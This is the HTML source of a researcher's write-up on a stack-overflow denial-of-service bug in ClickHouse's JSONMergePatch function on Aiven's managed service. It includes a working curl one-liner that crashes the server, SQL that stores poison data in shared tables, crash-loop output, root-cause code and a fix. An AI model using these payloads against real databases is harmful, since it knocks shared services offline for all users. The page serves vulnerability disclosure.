Zion Boggan
repos/security-portfolio/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/index.html
zionboggan.com ↗
509 lines · html
History for this file →
1
<!doctype html>
2
<html lang="en"><head><meta charset="utf-8">
3
<meta name="viewport" content="width=device-width, initial-scale=1.0">
4
<title>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan</title>
5
<meta name="description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.">
6
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E">
7
<style>
8
  :root{
9
    --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24;
10
    --line:#222936; --line2:#2c3543;
11
    --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675;
12
    --accent:#6cc7b8; --accent-dim:#274b47;
13
    --maxw:1020px;
14
  }
15
  *{box-sizing:border-box;}
16
  html{scroll-behavior:smooth;}
17
  body{margin:0;background:var(--bg);color:var(--ink);
18
    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
19
    font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;}
20
  .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;}
21
  a{color:var(--accent);text-decoration:none;}
22
  a:hover{color:#8fe0d2;}
23
  .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;}
24
 
25
  /* nav */
26
  nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82);
27
    backdrop-filter:blur(10px);border-bottom:1px solid var(--line);}
28
  nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;}
29
  nav .brand{font-weight:600;letter-spacing:.2px;}
30
  nav .brand .dot{color:var(--accent);}
31
  nav .links{display:flex;gap:26px;font-size:13.5px;}
32
  nav .links a{color:var(--muted);}
33
  nav .links a:hover{color:var(--ink);}
34
  @media(max-width:680px){nav .links{display:none;}}
35
 
36
  /* hero */
37
  header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line);
38
    background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);}
39
  .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);
40
    display:flex;align-items:center;gap:9px;margin-bottom:20px;}
41
  .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent);
42
    box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;}
43
  @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}}
44
  h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;}
45
  .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;}
46
  .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;}
47
  .hero .lede b{color:var(--ink);font-weight:600;}
48
  .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;}
49
  .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px;
50
    font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);}
51
  .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);}
52
  .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;}
53
  .btn.primary:hover{background:#8fe0d2;color:#06231f;}
54
  .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);}
55
  .meta .mono{color:var(--faint);}
56
 
57
  /* sections */
58
  section{padding:64px 0;border-bottom:1px solid var(--line);}
59
  .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;}
60
  .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;}
61
  .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;}
62
  .shead .rule{flex:1;height:1px;background:var(--line);}
63
 
64
  /* flagship */
65
  .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%);
66
    border:1px solid var(--line2);border-radius:14px;overflow:hidden;}
67
  .flag .top{padding:30px 32px 8px;}
68
  .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;}
69
  .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;}
70
  .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;}
71
  .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;}
72
  .flag p{color:var(--soft);margin:0 0 16px;}
73
  .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;}
74
  .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;}
75
  .stat .n{font-size:21px;font-weight:680;color:var(--ink);}
76
  .stat .k{font-size:12px;color:var(--muted);margin-top:2px;}
77
  .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;}
78
  .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;}
79
  .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;}
80
  .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;}
81
  .spec li:first-child{border-top:none;}
82
  .spec li span{color:var(--muted);}
83
  .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;}
84
  @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}}
85
 
86
  /* lab cards */
87
  .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;}
88
  @media(max-width:680px){.cards{grid-template-columns:1fr;}}
89
  .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel);
90
    display:flex;flex-direction:column;transition:border-color .15s,transform .15s;}
91
  .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);}
92
  .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;}
93
  .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;}
94
  .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;}
95
  .card h3{margin:0 0 9px;font-size:17px;}
96
  .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;}
97
  .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;}
98
  .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line);
99
    border-radius:5px;padding:3px 8px;}
100
  .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;}
101
  .card .lnk::after{content:" →";}
102
 
103
  /* research */
104
  .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;}
105
  .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
106
  .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center;
107
    padding:18px 22px;border-top:1px solid var(--line);}
108
  .ritem:first-child{border-top:none;}
109
  .ritem:hover{background:var(--panel);}
110
  .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);}
111
  .ritem h3{margin:0 0 3px;font-size:16px;}
112
  .ritem p{margin:0;font-size:13.5px;color:var(--muted);}
113
  .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;}
114
  @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}}
115
  .progs{margin-top:22px;}
116
  .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;}
117
  .progs .row{display:flex;flex-wrap:wrap;gap:7px;}
118
  .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line);
119
    border-radius:6px;padding:4px 10px;}
120
 
121
  /* credentials */
122
  .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;}
123
  @media(max-width:680px){.cred{grid-template-columns:1fr;}}
124
  .cred p{color:var(--soft);margin:0 0 14px;}
125
  .cred .role{font-size:14px;color:var(--muted);}
126
  .cred .role b{color:var(--ink);font-weight:600;}
127
  .certs{list-style:none;margin:0;padding:0;}
128
  .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft);
129
    display:flex;gap:10px;align-items:baseline;}
130
  .certs li:first-child{border-top:none;}
131
  .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;}
132
 
133
  footer{padding:46px 0 64px;}
134
  footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;}
135
  footer .links a{color:var(--soft);margin-right:20px;font-size:14px;}
136
  footer .note{color:var(--faint);font-size:12.5px;max-width:520px;}
137
 
138
  .detail-hero{padding:40px 0 26px;}
139
  .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;}
140
  .back:hover{color:var(--ink);}
141
  .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;}
142
  .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;}
143
  .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;}
144
  .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;}
145
  .content{padding:8px 0 0;max-width:840px;}
146
  .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);}
147
  .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;}
148
  .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;}
149
  .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;}
150
  .content p{color:var(--soft);margin:0 0 15px;}
151
  .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;}
152
  .content li{margin:5px 0;}
153
  .content strong{color:var(--ink);font-weight:600;}
154
  .content a{color:var(--accent);}
155
  .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);}
156
  .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;}
157
  .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;}
158
  .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;}
159
  .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;}
160
  .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;}
161
  .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);}
162
  .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;}
163
  /* notebook index */
164
  .nbgroup{margin:40px 0 0;}
165
  .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;}
166
  .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;}
167
  .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
168
  .nbtable tr{border-top:1px solid var(--line);}
169
  .nbtable tr:first-child{border-top:none;}
170
  .nbtable tr:hover{background:var(--panel);}
171
  .nbtable td{padding:14px 16px;vertical-align:top;}
172
  .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;}
173
  .nbtable .ti a{font-weight:600;color:var(--ink);}
174
  .nbtable .ti a:hover{color:var(--accent);}
175
  .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;}
176
  @media(max-width:680px){.nbtable .cls{width:auto;display:block;}}
177
</style>
178
<link rel="canonical" href="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/">
179
<meta name="author" content="Zion Boggan">
180
<meta name="robots" content="index, follow, max-image-preview:large">
181
<meta property="og:type" content="article">
182
<meta property="og:site_name" content="Zion Boggan">
183
<meta property="og:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan">
184
<meta property="og:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.">
185
<meta property="og:url" content="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/">
186
<meta property="og:image" content="https://zionboggan.com/assets/og-default.png">
187
<meta name="twitter:card" content="summary_large_image">
188
<meta name="twitter:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan">
189
<meta name="twitter:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.">
190
<meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png">
191
<script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query","description":"Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.","url":"https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script>
192
</head><body>
193
<nav><div class="wrap">
194
  <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a>
195
  <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span>
196
</div></nav>
197
<header class="hero detail-hero"><div class="wrap">
198
  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
199
  <div class="kicker">DoS / stack overflow</div>
200
  <h1>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query</h1>
201
</div></header>
202
<section><div class="wrap"><div class="content">
203
<h2>Summary</h2>
204
<p>Aiven&rsquo;s managed ClickHouse service (Tier 1) is vulnerable to an authenticated denial-of-service attack that crashes the server process (SIGSEGV) via a single SELECT query. <strong>Any authenticated user, including users with only SELECT privileges</strong>, can execute <code>SELECT JSONMergePatch(...)</code> with two deeply nested JSON documents, causing an unbounded stack recursion in the <code>merge_objects</code> function (<code>jsonMergePatch.cpp:70-91</code>) that exceeds the thread stack size and kills the server process.</p>
205
<p>The attack requires no special permissions, no configuration changes, and no prior setup, just one HTTP request. Each crash causes <strong>8-23 seconds of downtime</strong> while Aiven&rsquo;s orchestration restarts the ClickHouse process. A scripted attacker re-crashing on recovery achieves <strong>100% effective downtime</strong>.</p>
206
<p>The crash payload can also be stored in MergeTree table columns as persistent data. A user with INSERT privileges can plant poison data in a shared table they didn&rsquo;t create. <strong>Any future user</strong> running a query that applies <code>JSONMergePatch</code> to that data crashes the server, the attacker doesn&rsquo;t need to be present.</p>
207
<h2>Affected Target</h2>
208
<ul>
209
<li><strong>Service:</strong> Aiven for ClickHouse (Tier 1)</li>
210
<li><strong>Version tested:</strong> ClickHouse 25.3.14.1</li>
211
<li><strong>Instance:</strong> <code>[REDACTED].&lt;host&gt;:26161</code></li>
212
</ul>
213
<h2>Severity</h2>
214
<p><strong>P1, Critical Impact and/or Easy Difficulty</strong></p>
215
<p><strong>VRT:</strong> Application-Level Denial-of-Service (DoS) &gt; Critical Impact and/or Easy Difficulty</p>
216
<p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H</code>, <strong>Score: 7.7 (High)</strong></p>
217
<ul>
218
<li><strong>AV:N</strong>, Network-exploitable over HTTPS</li>
219
<li><strong>AC:L</strong>, Single query, no race, no preconditions</li>
220
<li><strong>PR:L</strong>, Any authenticated user, including SELECT-only (demonstrated with a restricted user with zero admin privileges)</li>
221
<li><strong>UI:N</strong>, No user interaction required</li>
222
<li><strong>S:C</strong>, Scope changed: attacker&rsquo;s session crashes the entire managed instance, disconnecting all clients. Stored poison data causes a <em>different</em> user&rsquo;s innocent query to crash the server (demonstrated: <code>writer</code> plants data → <code>analyst</code> query crashes server).</li>
223
</ul>
224
<p><strong>Impact summary:</strong>
225
- Single SELECT query crashes the entire managed ClickHouse instance (SIGSEGV)
226
- <strong>Sustained crash loop: 6 crashes in 93 seconds, 100% effective downtime</strong>, server never stays up long enough to serve real queries
227
- Any authenticated user, <strong>including SELECT-only users with no admin privileges</strong> (demonstrated)
228
- Repeatable indefinitely
229
- Crash payload can be stored in shared table columns, a different user querying that data triggers the crash (demonstrated)
230
- Attacker can hide poison in existing shared tables they have INSERT access to (demonstrated with <code>shared_analytics</code>)
231
- CREATE VIEW with the payload also crashes during type inference evaluation</p>
232
<h2>Steps to Reproduce</h2>
233
<h3>Prerequisites</h3>
234
<ul>
235
<li>An Aiven for ClickHouse instance (any plan)</li>
236
<li>Authentication credentials (any user with SELECT privilege)</li>
237
<li><code>curl</code> (no other tools needed)</li>
238
</ul>
239
<h3>One-line crash</h3>
240
<pre><code class="language-bash">curl -s &quot;https://&lt;user&gt;:&lt;password&gt;@&lt;host&gt;:26161/&quot; \
241
  --data &quot;SELECT JSONMergePatch(concat(repeat('{\&quot;a\&quot;:', 25000), '1', repeat('}', 25000)), concat(repeat('{\&quot;a\&quot;:', 25000), '2', repeat('}', 25000))) FORMAT Null&quot;
242
</code></pre>
243
<h3>Observe</h3>
244
<p>The connection is immediately reset (server process died). The server is unreachable for 8-23 seconds while Aiven restarts the ClickHouse process. After restart, <code>SELECT uptime()</code> shows a small value confirming the process was restarted.</p>
245
<h3>Crash depth threshold</h3>
246
<pre><code>Depth 1000:  OK (no crash)
247
Depth 5000:  OK (no crash)
248
Depth 10000: OK (no crash)
249
Depth 20000: OK (no crash)
250
Depth 25000: *** CRASH (connection lost) ***
251
Depth 50000: *** CRASH (connection lost) ***
252
</code></pre>
253
<h2>Full Exploit Chain</h2>
254
<h3>Chain 1: Direct crash, any user, one request</h3>
255
<p>Single query, immediate server death. Demonstrated with a <code>analyst</code> user that has <strong>only SELECT privileges</strong>:</p>
256
<pre><code>curl (as analyst) → SELECT JSONMergePatch(deep_json_1, deep_json_2) → SIGSEGV → server down
257
</code></pre>
258
<p>Actual output:</p>
259
<pre><code>$ # Analyst user has SELECT-only privileges:
260
$ SHOW GRANTS FOR analyst
261
GRANT SELECT ON default.* TO analyst
262
 
263
$ curl &quot;https://analyst:&lt;password&gt;@&lt;host&gt;:26161/&quot; \
264
    --data &quot;SELECT JSONMergePatch(...) FORMAT Null&quot;
265
curl: (28) Operation timed out     ← server process died
266
 
267
$ # After restart:
268
$ curl &quot;https://.../&quot; --data &quot;SELECT uptime()&quot;
269
31                                  ← server restarted
270
</code></pre>
271
<h3>Chain 2: Persistent poison via table data, attacker inserts, victim crashes</h3>
272
<p>Store the crash payload in a MergeTree table. Any future query applying <code>JSONMergePatch</code> to the stored data crashes the server, <strong>even from a different user session</strong>.</p>
273
<pre><code class="language-sql">-- Attacker stores deeply nested JSON
274
CREATE TABLE config_store (id UInt32, config String) ENGINE = MergeTree ORDER BY id;
275
INSERT INTO config_store VALUES (1, concat(repeat('{&quot;a&quot;:', 25000), '1', repeat('}', 25000)));
276
 
277
-- Data persists in MergeTree (survives restart)
278
-- A DIFFERENT user (analyst, SELECT-only) queries the data:
279
SELECT JSONMergePatch(config, config) FROM config_store WHERE id=1;
280
-- ↑ SIGSEGV - server crashes, triggered by the VICTIM's query, not the attacker
281
</code></pre>
282
<p>Actual output (cross-user test):</p>
283
<pre><code>=== Uptime before: 1250 ===
284
 
285
=== Analyst (SELECT-only) reads stored poison ===
286
curl exit code: 56 (SSL connection reset - server died)
287
 
288
=== After restart ===
289
Uptime: 8                            ← server restarted
290
Poison data persists: 1 row(s)       ← data survived restart
291
</code></pre>
292
<h3>Chain 3: Poison hidden in shared table, attacker has INSERT, victim has SELECT</h3>
293
<p>A user with INSERT access plants poison data in an <strong>existing shared table they didn&rsquo;t create</strong>. An innocent analyst running a routine query on that table crashes the server.</p>
294
<pre><code class="language-sql">-- Shared analytics table (pre-existing, not created by attacker):
295
-- CREATE TABLE shared_analytics (event_date Date, user_id UInt64,
296
--                                 event_type String, metadata String)
297
 
298
-- Writer (INSERT+SELECT only) injects poison into metadata column:
299
INSERT INTO shared_analytics (user_id, event_type, metadata)
300
  VALUES (999, 'config_update',
301
          concat(repeat('{&quot;a&quot;:', 25000), '&quot;deep&quot;', repeat('}', 25000)));
302
 
303
-- Later, analyst (SELECT-only) runs a routine metadata consolidation:
304
SELECT JSONMergePatch(s1.metadata, s2.metadata)
305
  FROM shared_analytics s1, shared_analytics s2
306
  WHERE s1.event_type = 'config_update' AND s2.event_type = 'config_update';
307
-- ↑ SIGSEGV - server crashes
308
</code></pre>
309
<p>Actual output:</p>
310
<pre><code>=== Writer inserts into shared_analytics (table they didn't create) ===
311
user_id=999, event_type=config_update, length(metadata)=150006   ← INSERT succeeded
312
 
313
=== Uptime before analyst query: 52 ===
314
 
315
=== Analyst merges metadata rows ===
316
curl exit code: 56                   ← server crashed
317
</code></pre>
318
<p>The attacker&rsquo;s data blends in with normal <code>config_update</code> rows. The analyst&rsquo;s query is a standard JSON merge pattern, nothing suspicious about it.</p>
319
<h3>Chain 4: CREATE VIEW crashes during type inference, DEMONSTRATED</h3>
320
<pre><code class="language-sql">CREATE VIEW innocent_report AS
321
  SELECT JSONMergePatch(concat(repeat('{&quot;a&quot;:', 25000), '1', repeat('}', 25000)),
322
                        concat(repeat('{&quot;a&quot;:', 25000), '2', repeat('}', 25000))) AS result;
323
-- ↑ SIGSEGV during type inference - server crashes before VIEW is even stored
324
</code></pre>
325
<h3>Chain 5: Sustained crash loop, 100% denial of service</h3>
326
<p>A script that re-crashes the server immediately upon recovery achieves permanent denial of service:</p>
327
<pre><code>=== TIGHT CRASH LOOP - 6 cycles, 3s polling ===
328
Start: 01:03:06 UTC
329
Crash #1: down  8s, recovered 01:03:14 UTC
330
Crash #2: down 22s, recovered 01:03:36 UTC
331
Crash #3: down 10s, recovered 01:03:46 UTC
332
Crash #4: down 21s, recovered 01:04:07 UTC
333
Crash #5: down  9s, recovered 01:04:16 UTC
334
Crash #6: down 23s, recovered 01:04:39 UTC
335
 
336
Total time: 93s | Downtime: 93s | Downtime ratio: 100%
337
</code></pre>
338
<p>The server is available for 0% of the attack duration. All connected clients are disconnected on every crash. All in-flight queries are aborted.</p>
339
<h2>Crash-Triggering Paths (Verified)</h2>
340
<table>
341
<thead>
342
<tr>
343
<th>Trigger</th>
344
<th>Crashes?</th>
345
<th>Notes</th>
346
</tr>
347
</thead>
348
<tbody>
349
<tr>
350
<td><code>SELECT JSONMergePatch(deep, deep)</code> as admin</td>
351
<td><strong>YES</strong></td>
352
<td>Direct query, one HTTP request</td>
353
</tr>
354
<tr>
355
<td><code>SELECT JSONMergePatch(deep, deep)</code> as SELECT-only user</td>
356
<td><strong>YES</strong></td>
357
<td>No admin privileges needed</td>
358
</tr>
359
<tr>
360
<td><code>SELECT JSONMergePatch(config, config) FROM table</code> by different user</td>
361
<td><strong>YES</strong></td>
362
<td>Cross-user stored data trigger</td>
363
</tr>
364
<tr>
365
<td>Poison in shared table → analyst query</td>
366
<td><strong>YES</strong></td>
367
<td>Writer plants, analyst crashes server</td>
368
</tr>
369
<tr>
370
<td><code>CREATE VIEW ... AS SELECT JSONMergePatch(deep, deep)</code></td>
371
<td><strong>YES</strong></td>
372
<td>Type inference evaluation</td>
373
</tr>
374
<tr>
375
<td>Sustained crash loop (6 cycles)</td>
376
<td><strong>100% downtime</strong></td>
377
<td>Server never available during attack</td>
378
</tr>
379
<tr>
380
<td>Depth 25,000</td>
381
<td><strong>YES</strong></td>
382
<td>Minimum crash threshold</td>
383
</tr>
384
<tr>
385
<td>Depth 20,000</td>
386
<td>No</td>
387
<td>Below stack limit</td>
388
</tr>
389
</tbody>
390
</table>
391
<h2>Root Cause Analysis</h2>
392
<p><strong>File:</strong> <code>src/Functions/jsonMergePatch.cpp</code>, lines 70-91</p>
393
<p>The <code>merge_objects</code> recursive lambda performs recursive descent on two JSON document trees to merge them:</p>
394
<pre><code class="language-cpp">auto merge_objects = [&amp;](auto &amp;&amp; self, auto &amp;&amp; lhs, const auto &amp; rhs) -&gt; void
395
{
396
    for (auto it = rhs.MemberBegin(); it != rhs.MemberEnd(); ++it)
397
    {
398
        auto lhs_it = lhs.FindMember(it-&gt;name);
399
        if (lhs_it != lhs.MemberEnd())
400
        {
401
            if (lhs_it-&gt;value.IsObject() &amp;&amp; it-&gt;value.IsObject())
402
                self(self, lhs_it-&gt;value, it-&gt;value);  // ← UNBOUNDED RECURSION
403
            // ...
404
        }
405
        // ...
406
    }
407
};
408
</code></pre>
409
<p><strong>The bug:</strong>
410
1. RapidJSON is configured with <code>kParseIterativeFlag</code> (line 14), so it parses arbitrarily deep JSON documents <strong>iteratively</strong> without stack overflow, the parsing is safe.
411
2. However, the subsequent <code>merge_objects</code> call recurses to the full depth of the documents with <strong>no depth limit and no <code>checkStackSize()</code> call</strong>.
412
3. At depth 25,000+, the recursive call stack (~200 bytes per frame) exceeds the thread stack size (~8MB), causing SIGSEGV.</p>
413
<p><strong>Why ClickHouse&rsquo;s existing protections don&rsquo;t apply:</strong>
414
- <code>max_parser_depth</code> (default 1000) limits the SQL parser, not JSON parsing
415
- <code>checkStackSize()</code> is used throughout the query pipeline but was never added to <code>merge_objects</code>
416
- RapidJSON&rsquo;s iterative parser correctly handles deep documents, but the merge function does not
417
- No setting exists to limit JSON document depth for this function</p>
418
<h2>Evidence of Repeated Crashes</h2>
419
<table>
420
<thead>
421
<tr>
422
<th>Crash #</th>
423
<th>Trigger</th>
424
<th>User</th>
425
<th>Uptime After</th>
426
</tr>
427
</thead>
428
<tbody>
429
<tr>
430
<td>1</td>
431
<td><code>SELECT</code> depth 50,000</td>
432
<td>avnadmin</td>
433
<td>19s</td>
434
</tr>
435
<tr>
436
<td>2</td>
437
<td><code>SELECT</code> depth 25,000</td>
438
<td>avnadmin</td>
439
<td>29s</td>
440
</tr>
441
<tr>
442
<td>3</td>
443
<td><code>CREATE VIEW</code></td>
444
<td>avnadmin</td>
445
<td>28s</td>
446
</tr>
447
<tr>
448
<td>4</td>
449
<td><code>SELECT</code> from stored table data</td>
450
<td>avnadmin</td>
451
<td>148s</td>
452
</tr>
453
<tr>
454
<td>5</td>
455
<td><code>SELECT</code> from stored data</td>
456
<td>analyst (SELECT-only)</td>
457
<td>8s</td>
458
</tr>
459
<tr>
460
<td>6</td>
461
<td>Cross-join on shared_analytics</td>
462
<td>analyst (SELECT-only)</td>
463
<td>- (server down)</td>
464
</tr>
465
<tr>
466
<td>7-12</td>
467
<td>Sustained crash loop (6 cycles)</td>
468
<td>avnadmin</td>
469
<td>1s, 2s, 8s, 1s,, -</td>
470
</tr>
471
</tbody>
472
</table>
473
<h2>Impact</h2>
474
<ul>
475
<li><strong>Availability:</strong> 100% sustained downtime achievable. Scripted attacker re-crashes on recovery, server never serves real queries during attack.</li>
476
<li><strong>Privilege level:</strong> Any authenticated user with SELECT privileges can crash the server. No admin access needed (demonstrated with restricted <code>analyst</code> user).</li>
477
<li><strong>Persistence:</strong> Crash payload stored in MergeTree tables survives restarts. Future queries on the data trigger the crash without the attacker being present.</li>
478
<li><strong>Stealth:</strong> Attacker with INSERT access can hide poison data in existing shared tables (demonstrated with <code>shared_analytics</code>). The triggering query is an innocent-looking metadata merge, no auditing would flag it as malicious.</li>
479
<li><strong>Scope change:</strong> The <em>victim</em> of the crash is not the attacker. A <code>writer</code> inserts data; an <code>analyst</code> running a routine report crashes the server for <em>all</em> users.</li>
480
<li><strong>Blast radius:</strong> All users of the managed instance are affected. All connected clients disconnected. All in-flight queries aborted.</li>
481
<li><strong>Ease:</strong> One HTTP request. No tools beyond <code>curl</code>. No special permissions.</li>
482
</ul>
483
<h2>Recommended Fix</h2>
484
<ol>
485
<li>
486
<p><strong>Immediate:</strong> Add a depth counter to <code>merge_objects</code> in <code>jsonMergePatch.cpp</code> and throw an exception when depth exceeds a reasonable limit (e.g., 1000). Alternatively, add <code>checkStackSize()</code> inside the recursive lambda.</p>
487
</li>
488
<li>
489
<p><strong>Defense in depth:</strong> Consider adding a server-wide setting for maximum JSON document nesting depth in functions that process JSON recursively.</p>
490
</li>
491
</ol>
492
<h2>Proof of concept</h2>
493
<p>Single-shell repro: <a href="aiven/poc/clickhouse-crash.sh"><code>aiven/poc/clickhouse-crash.sh</code></a></p>
494
<pre><code class="language-bash">HOST=&quot;&lt;your-instance&gt;.&lt;host&gt;:26161&quot;
495
